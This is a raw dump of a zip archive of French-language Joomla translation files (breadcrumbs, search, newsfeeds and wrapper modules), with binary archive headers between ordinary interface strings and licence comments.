MOD_BREADCRUMBS_HERE="Vous êtes ici : "
MOD_BREADCRUMBS_HOME="Accueil"
MOD_BREADCRUMBS_XML_DESCRIPTION="Le module 'mod_breadcrumbs' affiche un fil de navigation dans le site permettant à l'utilisateur de savoir où il se situe."
PK ! �(T � � fr-FR/fr-FR.mod_search.sys.ininu &1i� ; @date 2015-10-22
; @author Joomla! Project
; @copyright (C) 2005 - 2020 Open Source Matters. All rights reserved.
; @copyright (C) 2005 - 2020 Joomla.fr [Traduction]
; @license GNU General Public License version 2 or later; see LICENSE.txt
; @note Complete
; @note Client Site
; @note All ini files need to be saved as UTF-8
MOD_SEARCH="Recherche"
MOD_SEARCH_XML_DESCRIPTION="Le module 'mod_search' affiche un champ pour effectuer des recherches dans les contenus du site. Les contenus pris en compte sont déterminés par les plug-ins de recherche. Les résultats sont affichés par le composant de recherche."
MOD_SEARCH_LAYOUT_DEFAULT="Défaut"
PK ! ����
fr-FR/fr-FR.mod_search.ininu &1i� ; @date 2015-10-22
; @author Joomla! Project
; @copyright (C) 2005 - 2020 Open Source Matters. All rights reserved.
; @copyright (C) 2005 - 2020 Joomla.fr [Traduction]
; @license GNU General Public License version 2 or later; see LICENSE.txt
; @note Complete
; @note Client Site
; @note All ini files need to be saved as UTF-8
MOD_SEARCH="Recherche"
MOD_SEARCH_FIELD_BOXWIDTH_DESC="Spécifiez par une valeur numérique la largeur du champ correspondant au nombre de caractères pleins affichés."
MOD_SEARCH_FIELD_BOXWIDTH_LABEL="Largeur du champ"
MOD_SEARCH_FIELD_BUTTON_DESC="Activer/Désactiver l'affichage du bouton de recherche. Si le bouton de recherche n'est pas affiché, les utilisateurs devront appuyer sur la touche 'Enter' pour valider la recherche."
MOD_SEARCH_FIELD_BUTTON_LABEL="Bouton de recherche"
MOD_SEARCH_FIELD_BUTTONPOS_DESC="Spécifiez la position du bouton par rapport au champ de recherche."
MOD_SEARCH_FIELD_BUTTONPOS_LABEL="Position du bouton"
MOD_SEARCH_FIELD_BUTTONTEXT_DESC="Spécifiez le texte à afficher sur le bouton de recherche. Si laissé vide, le texte déterminé dans le fichier de langue sera utilisé."
MOD_SEARCH_FIELD_BUTTONTEXT_LABEL="Texte du bouton"
MOD_SEARCH_FIELD_IMAGEBUTTON_DESC="Activer/Désactiver l'utilisation d'une image pour le bouton. L'image doit être nommée 'searchButton.gif' et placée dans le dossier 'templates/nom-du-template/images/'."
MOD_SEARCH_FIELD_IMAGEBUTTON_LABEL="Image du bouton"
MOD_SEARCH_FIELD_SETITEMID_DESC="Si aucun lien de menu du composant de recherche n'est créé permettant de paramétrer l'affichage des résultats, vous pouvez assigner une id en sélectionnant un lien de menu pour que l'affichage hérite de ses paramètres. Si vous ne savez pas ce que ceci signifie, vous n'en avez sans doute pas besoin."
MOD_SEARCH_FIELD_SETITEMID_LABEL="ID de menu"
MOD_SEARCH_FIELD_LABEL_TEXT_DESC="Spécifiez le texte à afficher comme label du champ de recherche. Si laissé vide, le texte déterminé dans le fichier de langue sera utilisé."
MOD_SEARCH_FIELD_LABEL_TEXT_LABEL="Label du champ"
MOD_SEARCH_FIELD_OPENSEARCH_LABEL="Découverte automatique OpenSearch"
MOD_SEARCH_FIELD_OPENSEARCH_TEXT_LABEL="Titre OpenSearch"
MOD_SEARCH_FIELD_OPENSEARCH_TEXT_DESC="Texte affiché dans les navigateurs compatibles lorsque le site est ajouté comme moteur de recherche."
MOD_SEARCH_FIELD_OPENSEARCH_DESC="Certains navigateurs peuvent ajouter cette fonction de recherche de votre site si le paramètre est activé."
MOD_SEARCH_FIELD_TEXT_DESC="Spécifiez le texte à afficher dans le champ de recherche. Si laissé vide, le texte déterminé dans le fichier de langue sera utilisé."
MOD_SEARCH_FIELD_TEXT_LABEL="Texte dans le champ"
MOD_SEARCH_FIELD_VALUE_BOTTOM="Bas"
MOD_SEARCH_FIELD_VALUE_LEFT="Gauche"
MOD_SEARCH_FIELD_VALUE_RIGHT="Droite"
MOD_SEARCH_FIELD_VALUE_TOP="Haut"
MOD_SEARCH_LABEL_TEXT="Rechercher"
MOD_SEARCH_SEARCHBOX_TEXT="Recherche..."
MOD_SEARCH_SEARCHBUTTON_TEXT="Valider"
MOD_SEARCH_SELECT_MENU_ITEMID="Sélectionner un lien de menu"
MOD_SEARCH_XML_DESCRIPTION="Le module 'mod_search' affiche un champ pour effectuer des recherches dans les contenus du site. Les contenus pris en compte sont déterminés par les plug-ins de recherche. Les résultats sont affichés par le composant de recherche."
PK ! O�ݱ� � fr-FR/fr-FR.com_newsfeeds.ininu &1i� ; @date 2015-01-30
; @author Joomla! Project
; @copyright (C) 2005 - 2020 Open Source Matters. All rights reserved.
; @copyright (C) 2005 - 2020 Joomla.fr [Traduction]
; @license GNU General Public License version 2 or later; see LICENSE.txt
; @note Complete
; @note Client Site
; @note All ini files need to be saved as UTF-8
COM_NEWSFEEDS_CACHE_DIRECTORY_UNWRITABLE="Le répertoire du cache est protégé en écriture. Les fils d'actualité ne peuvent pas être affichés. SVP contacter l'administrateur du site."
COM_NEWSFEEDS_CAT_NUM="# Fils d'actualité :"
COM_NEWSFEEDS_CONTENT_TYPE_NEWSFEED="Fil d'actualité"
COM_NEWSFEEDS_CONTENT_TYPE_CATEGORY="Catégorie de fils d'actualités"
COM_NEWSFEEDS_DEFAULT_PAGE_TITLE="Fils d'actualité"
COM_NEWSFEEDS_ERROR_FEED_NOT_FOUND="Erreur. Le fil d'actualité ne peut être trouvé."
COM_NEWSFEEDS_ERRORS_FEED_NOT_RETRIEVED="Erreur. Le fil d'actualité ne peut être récupéré."
COM_NEWSFEEDS_FEED_LINK="Adresse du fil d'actualité"
COM_NEWSFEEDS_FEED_NAME="Nom du fil d'actualité"
COM_NEWSFEEDS_FILTER_LABEL="Champ de filtre"
COM_NEWSFEEDS_FILTER_SEARCH_DESC="Filtre de recherche dans les fils d'actualité."
COM_NEWSFEEDS_NO_ARTICLES="Aucun article pour ce fil d'actualité"
COM_NEWSFEEDS_NUM_ARTICLES="Nb d'article"
COM_NEWSFEEDS_NUM_ARTICLES_COUNT="Nb d'articles : %s"
COM_NEWSFEEDS_NUM_ITEMS="# Fils d'actualité"
PK ! VƆ#� � fr-FR/fr-FR.com_wrapper.ininu &1i� ; @date 2015-10-22
; @author Joomla! Project
; @copyright (C) 2005 - 2020 Open Source Matters. All rights reserved.
; @copyright (C) 2005 - 2020 Joomla.fr [Traduction]
; @license GNU General Public License version 2 or later; see LICENSE.txt
; @note Complete
; @note Client Site
; @note All ini files need to be saved as UTF-8
COM_WRAPPER_NO_IFRAMES="Cette option ne fonctionnera pas correctement. Malheureusement, votre navigateur ne supporte pas les frames."
PK ! �x8o o "